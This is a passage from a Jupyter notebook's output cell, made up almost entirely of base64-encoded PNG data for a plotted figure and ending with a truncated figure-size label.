F+Lm1bF9KuTfBTc7ttzO2gvYB2bVrQtk0hbVrm64+QZiYtRlBSt9mzZ3PnnXeyefNmTjnlFJYvX87555/Peeedh7vzy1/+kqVLl1JSUsKwYcO4/fbb6d69O1OmTGHlypVs2bKFt956i549e3LLLbfw6KOP8sYbb9CzZ09+/etfY2aN6ltRUcEdd9zB66+/ztq1a+ncuTM/+MEPOOuss/aI/cYbb+SFF17Yo/3rX/86N998825t77zzDpWVlVx22WUAnHXWWUybNo2XX36Z888/f7e+q1atYtiwYVxyySUA9OnTh1NPPZV3331XCWoflW2vZOX6baxcV8qX62p+Bwlp2/a9l9VaFubtmVxaB/drkk/N7Zr2loV5SjayV80+Qf3i4beZt3hNUo41cmAXJn/nmLj6rlixguuvv54pU6YwatQoHnnkEZ555pmdX9jXXnst3/rWt3j44YcpLS3lqquu4qGHHmLy5MkAzJo1i/vuu48pU6Zw1VVXcckll3Dffffx61//mp/85Cfce++9TJkypVF9H330URYtWsQf//hH2rZty/Tp07nxxhs5/fTTyc/f/Z/SzTffvEciqs+yZcvo37//bm39+vVj6dKle/Tt168f99133877FRUVvP7660pOe1FZFWHNxm2sXLctZkQU3N64dXu9z2vTMp8eBxXRvXMRPToX0e3ANnRo12K3UU5Bfl4S34k0J80+QaWrl156iVGjRnHSSScBcMUVV/Dkk0/ufPyhhx6ie/fuVFZWsnr1ajp06MDatWt3Pj5kyBBGjx4NwFFHHcWqVat2vtaoUaOYPn16o/teeOGFnH/++bRr1441a9bQqlUrSktLKS8vp23btvv8XsvKymjZsuVuba1ataK8vLyeZwQqKiq47rrraNWqFRdeeOE+Hz9bRCJRNm7dvnP082VMMlqzsYxIPVOTC/Jz6dapDT06F9G9Uxt6xiSkdm0KNdKRlGn2CSreEU2yrV27li5duuy8n5OTs9sGjIsWLeKKK66gpKSEQw89lPLycjp27Ljz8fbtd57iIzc3l3bt2u12PxKJNLpvaWkpN998M/Pnz6dHjx707dsXCM5V1HbTTTfx4osv7tF+9tlnc9NNN+3W1rp1a3bs2G2nZ8rLy2nduv5rs9etW8c111xDbm4ujz322B4JLpuVltWcF9q22/mhleu3saOi7skHOT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\n", "text/plain": [ "<Figure size 432x288 